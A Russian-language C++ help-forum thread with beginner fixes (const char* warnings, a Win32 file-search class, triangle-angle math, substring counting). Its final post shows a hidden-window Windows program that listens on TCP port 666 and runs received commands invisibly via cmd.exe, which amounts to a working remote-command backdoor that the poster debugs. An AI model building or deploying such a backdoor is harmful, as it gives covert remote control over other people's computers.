tim-oleksii, спасибо за пояснение. Кстати, подскажите еще по такому вопросу: Пишу код вида: FindDir("F:\\demod\\","*"); Компилятор пишет: warning: deprecated conversion from string constant to 'char*'| В чем проблема и как надо? функция начинается так: void FindDir(char* path,char* mask)
А ты напиши так: Code: void FindDir(const char* path, const char* mask) Так как функция не меняет значения переменных path и mask, а только считывает их, правильно объявить их const, тогда и ошибка исчезнет, если будешь явно строку передавать в такую функцию.
Подскажите, где можно найти класс BigDecimal для C++ с перегруженными сложением, умножением, вычитанием, делением... google молчит, точнее выдает библиотеку для java. Но надо для плюсов
вот накалякал от скуки на базе одного исходника с инета можете посмотреть как сделано класс имеет два паблик метода DoSmth и What первый для получения найденных файлов его надо обязательно переопределить и второй необязательный пригодится если надо логировать ошибки во время поиска кстати есть еще Stop его можно вызвать из другого потока или из What для остановки Code: #include <windows.h> #include <stdio.h> #include <tchar.h> struct ISearchFiles { VOID Search(PCTSTR Path, PCTSTR Extension, BOOL bInnerFolders, DWORD FileAttributes); VOID Stop() { bDone = TRUE; } enum {FILE_ATTRIBUTE_ALL}; protected: enum BadFunc {FIND_FIRST_FILE, FIND_NEXT_FILE}; virtual VOID DoSmth(PCTSTR FileName) = 0; virtual VOID What(BadFunc Func, DWORD Error, PCTSTR FileName) {} private: TCHAR Buf[MAX_PATH * 2]; volatile BOOL bDone; VOID DoSearch(PTSTR FileName, PCTSTR Extension, BOOL bInnerFolders, DWORD FileAttributes); VOID Check(DWORD SuccessError, BadFunc Func); }; VOID ISearchFiles::Search(PCTSTR Path, PCTSTR Extension, BOOL bInnerFolders = TRUE, DWORD FileAttributes = FILE_ATTRIBUTE_ALL) { bDone = FALSE; lstrcpyn(Buf, Path, _countof(Buf) - _countof("\\*.*")); return DoSearch(Buf, Extension, bInnerFolders, FileAttributes); } VOID ISearchFiles::Check(DWORD SuccessError, BadFunc Func) { DWORD LastError = GetLastError(); if (SuccessError != LastError) { if (FIND_NEXT_FILE != Func) What(Func, LastError, Buf); else What(Func, LastError, TEXT("")); } } VOID ISearchFiles::DoSearch(PTSTR FileName, LPCTSTR Extension, BOOL bInnerFolders, DWORD FileAttributes) { HANDLE hSearch; WIN32_FIND_DATA wfd; if (bDone) return; PTSTR Break = FileName + lstrlen(FileName); lstrcat(Break, TEXT("\\*.*")); ++Break; // сначало поиск внутри вложенных папках ... if(bInnerFolders) { // если папки существуют, то делаем поиск hSearch = FindFirstFile(FileName, &wfd); if (INVALID_HANDLE_VALUE != hSearch) { do { if (bDone) { FindClose(hSearch); return; } // в каждой папке есть две папки с именами "." и ".." // и эти папки мы не трогаем if ('.' == *wfd.cFileName) continue; if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { lstrcpy(Break, wfd.cFileName); DoSearch(FileName, Extension, bInnerFolders, FileAttributes); } } while (FindNextFile(hSearch, &wfd)); Check(ERROR_NO_MORE_FILES, FIND_NEXT_FILE); FindClose(hSearch); } else return Check(ERROR_FILE_NOT_FOUND, FIND_FIRST_FILE); } if (bDone) return; lstrcpyn(Break, Extension, _countof(Buf) - (Break - FileName)); hSearch = FindFirstFile(FileName, &wfd); if (INVALID_HANDLE_VALUE != hSearch) { do { if (bDone) { FindClose(hSearch); return; } if (!(FILE_ATTRIBUTE_DIRECTORY & wfd.dwFileAttributes)) { lstrcpy(Break, wfd.cFileName); if (FILE_ATTRIBUTE_ALL != FileAttributes) { if (FileAttributes & wfd.dwFileAttributes) DoSmth(FileName); } else DoSmth(FileName); } } while (FindNextFile(hSearch, &wfd)); Check(ERROR_NO_MORE_FILES, FIND_NEXT_FILE); FindClose(hSearch); } else Check(ERROR_FILE_NOT_FOUND, FIND_FIRST_FILE); } // example struct SearchFiles : ISearchFiles { VOID DoSmth(PCTSTR FileName) { _tprintf(_T("%s\n"), FileName); } VOID What(BadFunc Func, DWORD Error, PCTSTR FileName) { _tprintf(_T("ERROR: %s ***Func: %s with code %x***\n"), FileName, FIND_NEXT_FILE != Func ? _T("FindFirstFile") : _T("FindNextFile"), Error); } }; int main() { SearchFiles e; e.Search(TEXT("c:"), TEXT("*.txt")); e.Search(TEXT("c:\\windows"), TEXT("*.exe"), TRUE, FILE_ATTRIBUTE_HIDDEN); e.Search(TEXT("c:"), _T("*.*"), FALSE); }
помогите плз) выдает 13,14,15 строку( #include <iostream> #include <conio.h> #include <math.h> using namespace std; int main() { float a,b,c,x,y,z; cout<< "vvedite a,b,c\n"<< endl; cin>>a>>b>>c; float ygol1,ygol2,ygol3; x=(b*b + c*c – a*a)/(2*b*c); y=(a*a + c*c – b*b)/(2*a*c); z=(a*a + b*b – c*c)/(2*a*b); ygol1 = acos (x); ygol2 = acos(y); ygol3 =acos(z); cout<< "\n ygol1 = "<< ygol1/M_PI*180; cout<< "\n ygol2 = "<< ygol2/M_PI*180; cout<< "\n ygol3 = "<< ygol3/M_PI*180; return 0; } ошибка error stray '226' in program
Code: #include <iostream> #include <conio.h> #include <math.h> using namespace std; int main() { float a,b,c,x,y,z; cout<< "vvedite a,b,c\n"<< endl; cin >> a; cin >> b; cin >> c; float ygol1,ygol2,ygol3; x = ((b*b) + (c*c) - (a*a))/(2*b*c); y = ((a*a) + (c*c) - (b*b))/(2*a*c); z = ((a*a) + (b*b) - (c*c))/(2*a*b); ygol1 = acos (x); ygol2 = acos (y); ygol3 = acos (z); cout<< "\n ygol1 = "<< ygol1/M_PI*180; cout<< "\n ygol2 = "<< ygol2/M_PI*180; cout<< "\n ygol3 = "<< ygol3/M_PI*180; getch(); return 0; } Переписал формулу x,y,z и заработало)
спс) заработало) помогите плз еще) #include <conio.h> #include <math.h> int main () { float a,b,c; а =(13.72 + cos(60*M_PI/180))*(7.58 + sin(60*M_PI/180))/M_LN10; b = sqrt (17.51/cos(30*M_PI/180)); c = a - b; cout<<"c ="<<c; return 0; } выдает 7 и 10
Code: #include <iostream> #include <conio.h> #include <math.h> using namespace std; int main () { float a,b,c; a = (13.72 + cos(60*M_PI / 180))*(7.58 + sin(60*M_PI/180)) / M_LN10; b = sqrt (17.51/cos(30*M_PI/180)); c = a - b; cout << "c =" << c; getch(); return 0; }
Здравствуйте, помогите найти кол-во слов в тексте, не совсем слов а вводится текст, потом слово, далее идет поиск в тексте этого слова .. и нужно подсчитать сколько повторяется это слово в тексте ... вообщем его количество в тексте... Code: #include <iostream> #include <windows.h> #include <iomanip> using namespace std; int main(int argc, char *argv[]) { string text; string search; int F=0; system("echo Введите текст проивзольной длинны"); cout << "Text:> "; getline(cin,text); for(int i=0;i<80;i++){ cout << "-"; } system("echo Введите слово для поиска"); cout << "Search:> "; cin >> search; for(int i=0;i<text.length();i++){ if(text.find(search,1)){ F = F+1; } } for(int i=0;i<80;i++){ cout << "-"; } system("echo Слов в тексте "); cout << "Result: " << F; cin.get(); cin.get(); return 0; } Я немогу понять как делать условие по find, подскажите пожалуйста ... если find не подходит подскажите другую функцию..
Все подходит - сам поиск делать так: Code: string reg = "kjsdhcdjc kjshdckjsdc kjhgsdkjch kkjh sdkjchskjdc kjh sdkjchksdjchk"; int next = 0; int counter = 0; string word; cout<<"Search your word:\n"; cin>>word; do { if(reg.find(word,next) != string::npos) { next = reg.find(word,next) + word.length(); counter++; } else break; }while(true); cout<<"\n Counter:"<< counter<<"\n"; Правда тут он находит и обозначает как слова, комбинацию букв, то есть есть допустим предложение: Твердолобый Ваня ударился головой об стену. Ещё долгое время его лоб сильно чесался. Задаешь на поиск слова лоб, а он находит их два - в слове "Твердолобый" и просто слово лоб. Для того, что бы ввести различие - достаточно прописать правила, например: ты вводишь слово лоб, а по бокам добавляешь пробелы. Но тут может случиться, что к слову "пристыкованны" не пробелы, а например точки или запятые. Нужно тогдпа прописывать правила для такого случая, ну или самое простое - заменить на время поиска все знаки препинания на пробелы
#include <iostream> #include <conio.h> #include <math.h> using namespace std; int main() { float a,b,c,p,S; cout<< "vvedite a,b,c\n"<< endl; p= a/2+b+c; S=sqrt(p*(p-a)*(p-b)*(p-c)) return 0; } выдает в 13 строке ошибку(
S=sqrt(p*(p-a)*(p-b)*(p-c)); Ты забыл точку с запятой. Кстати - а как ты считываешь числа? У тебя ведь только функция вывода строки на экран cout, а для считка ты не применил cin.
Code: #include <winsock2.h> #define MY_PORT 666 DWORD WINAPI SexToClient(LPVOID client_socket); int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { char buff[2048]; WSAStartup(0x0202,(WSADATA *) &buff[0]); SOCKET mysocket; mysocket=socket(AF_INET,SOCK_STREAM,0); sockaddr_in local_addr; local_addr.sin_family=AF_INET; local_addr.sin_port=htons(MY_PORT); local_addr.sin_addr.s_addr=0; bind(mysocket,(sockaddr *) &local_addr,sizeof(local_addr)); listen(mysocket, 0x100); SOCKET client_socket; sockaddr_in client_addr; int client_addr_size=sizeof(client_addr); while((client_socket=accept(mysocket, (sockaddr *) &client_addr, &client_addr_size))) { DWORD thID; CreateThread(NULL,NULL,SexToClient, &client_socket,NULL,&thID); } return 0; } DWORD WINAPI SexToClient(LPVOID client_socket) { SOCKET my_sock; my_sock=((SOCKET *) client_socket)[0]; char buff[40*2048]; #define sHELLO "Connected.\r\n" send(my_sock,sHELLO,sizeof(sHELLO),0); int bytes_recv; STARTUPINFOA sti; // структура PROCESS_INFORMATION pi; ZeroMemory(&sti,sizeof(STARTUPINFO)); // обнулить ZeroMemory(&pi, sizeof(pi) ); sti.cb=sizeof(sti); // указать размер sti.dwFlags = 0x00002000; sti.wShowWindow=SW_HIDE; while((bytes_recv=recv(my_sock,&buff[0],sizeof(buff),0))&& (bytes_recv != SOCKET_ERROR)) { CreateProcessA(0,&buff[0],0,0,1,0,0,0,&sti,&pi); TerminateProcess(pi.hProcess, 0); send(my_sock,"Done! \n",bytes_recv,0); } closesocket(my_sock); return 0; } Ошибок не выдает, когда посылаю команду, отвечает "Done!" , а команда не выполняется. Если CreateProcessA(0,&buff[0],0,0,1,0,0,0,&sti,&pi); заменить на system(&buff[0]); и соответственно удалить: Code: STARTUPINFOA sti; // структура PROCESS_INFORMATION pi; ZeroMemory(&sti,sizeof(STARTUPINFO)); // обнулить ZeroMemory(&pi, sizeof(pi) ); sti.cb=sizeof(sti); // указать размер sti.dwFlags = 0x00002000; sti.wShowWindow=SW_HIDE; все начинает работать ----------------------------------------------------------------------------- Проблему решил. Code: CreateProcessA(0,&buff[0],0,0,1,0,0,0,&sti,&pi); заменил на Code: CreateProcessA("C:\\Windows\\System32\\cmd.exe",&buff[0],0,0,1,0,0,0,&sti,&pi); А в buff передаю в начале строки /C (сначала /K писал и плодил тоны cmd.exe в диспечере). Еще пришлось удалить и Code: TerminateProcess(pi.hProcess, 0); Правда не понял, чем он не прижился. Буду рад если кто подскажет.